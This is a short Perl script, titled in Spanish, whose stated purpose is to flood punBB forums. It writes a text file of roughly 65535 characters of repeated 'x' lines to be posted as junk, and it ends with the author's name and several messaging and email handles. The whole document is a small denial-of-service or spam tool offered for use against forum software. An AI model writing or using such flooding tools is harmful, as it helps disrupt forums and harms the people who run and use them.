Escribir un archivo con 65535 caracteres para inundar foros punBB

#!/usr/bin/perl
 
open FILE, "+>a.txt" or die $!;
for($i = 1; $i < 65535/2; $i++) {
  print FILE "x\n";
}
close FILE;
 
#by Sicbo Jones
#    ICQ: 649694972
#    MSN: sicbo@live.com
# Google: sicboj@gmail.com
#  Yahoo: sicboj@ymail.com